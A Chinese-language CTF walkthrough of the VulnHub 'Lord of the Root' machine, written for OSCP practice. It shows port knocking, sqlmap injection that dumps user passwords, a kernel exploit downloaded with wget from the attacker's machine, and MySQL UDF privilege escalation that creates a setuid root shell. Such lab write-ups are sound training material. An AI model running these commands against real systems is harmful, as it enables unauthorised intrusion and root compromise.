OSCP备战-LordOfTheRoot靶机复现步骤
PDF下载:
Target-practice/Range at main · szjr123/Target-practice
一、靶机描述
靶机地址:https://www.vulnhub.com/entry/lord-of-the-root-101,129/
靶机难度:中等(CTF)
靶机描述:这是KoocSec为黑客练习准备的另一个Boot2Root挑战。他通过OSCP考试的启发准备了这一过程。它基于伟大的小说改制电影《指环王》的概念。
目标:得到root权限&找到flag.txt
直接VM导入靶机,启动靶机
二、信息搜集
1、目标IP获取
得到目标IP:10.10.10.130
2、端口扫描
nmap -p- --min-rate 1000 -T4 10.10.10.130
似乎只开启了22端口吗
端口详细信息扫描
nmap -p22 -sV -sC -A --min-rate 1000 -T4 10.10.10.130
尝试连接22端口
ssh 10.10.10.130
给出提示:
Easy as 1,2,3
提示port_knocking(端口试探)
端口试探的主要目的是防止攻击者通过对端口扫描的方式对主机进行攻击。
端口试探是一种通过尝试连接,从外部打开原先关闭端口的方法。一旦收到正确顺序的尝试连接,防火墙就会打开一些特定的端口允许尝试连接的主机访问。
尝试连接1,2,3端口
安装knock:
apt install knockd
使用
knock -v 10.10.10.130 1 2 3
再次进行端口扫描
nmap -p- --min-rate 1000 -T4 10.10.10.130
开放新的端口1337
三、Getshell
访问1337端口
查看源代码没有信息
进行目录扫描
给到三张图片
没什么信息根据图片访问/mordor
源代码发现
THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh
得到新路径
/978345210/index.php
登录框
尝试admin万能密码失败
尝试注入
sqlmap -o -u http://10.10.10.130:1337/978345210/index.php --forms
给出:data: username= &password=*&submit=%20Login%20
sqlmap -o -u http://10.10.10.130:1337/978345210/index.php --forms --dbs
sqlmap -o -u http://10.10.10.130:1337/978345210/index.php --forms -D Webapp --tables
sqlmap -o -u http://10.10.10.130:1337/978345210/index.php --forms -D Webapp -T Users –dump
得到:
frodo | iwilltakethering
smeagol | MyPreciousR00t
aragorn | AndMySword
legolas | AndMyBow
gimli | AndMyAxe
尝试进行ssh连接:
最终只有smeagol | MyPreciousR00t可以成功连接
四、提权
1、内核提权
查看内核:
uname -a
ubuntu 14.04 linux 3.19
wget 10.10.10.128:442/39166.c
2、mysql udf提权
注意:下述操作未做演示,只是讲解一般操作步骤
查看mysql启动权限
查找mysql账号:/var/www/ 978345210/login.php
'root', 'darkshadow'
连接
mysql -u root -p
输入密码后进入
查看mysql版本号
(1)依次执行
select * from mysql.func;#查看可执行函数,若以及有函数直接跳到(7)select version(); # 获取数据库版本
udf提权因数据库版本会不一样
show variables like 'plugin%'; # 查看plugin路径show global variables like '%secure%'; #查看是否有写入权限
当 secure_file_priv 的值没有具体值时,可提权
(2)任选一个数据库创建表单:
CREATE TABLE foo (data LONGBLOB);
(3)将所选择的udf插入表单(同样先利用wget下载kali中自带的(位置:/usr/share/metasploit/mysql/)):
insert into foo values(load_file('/tmp/lib_mysqludf_sys_64.so '));
(4)导出(/usr/lib/mysql/plugin/为plugin位置):
select * from foo into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys_64.so ';
(5)创建函数(这里少数情况会报错,执行(9)):
create function sys_eval returns integer soname 'lib_mysqludf_sys_64.so';
(6)
select * from mysql.func; #查看函数是否创建成功
(7)
select sys_eval('cp /bin/bash /tmp/bash ; chmod +s /tmp/bash');
(8)回到/tmp/bash执行
/tmp/bash -pwhoami
(9)查看lib_mysqludf_sys_64.so 长度,显示长度为1
ls -l /usr/lib/mysql/plugin/lib_mysqludf_sys_64.so
直接在数据库中进行复制过去
\! cp /tmp/lib_mysqludf_sys_64.so /usr/lib/mysql/plugin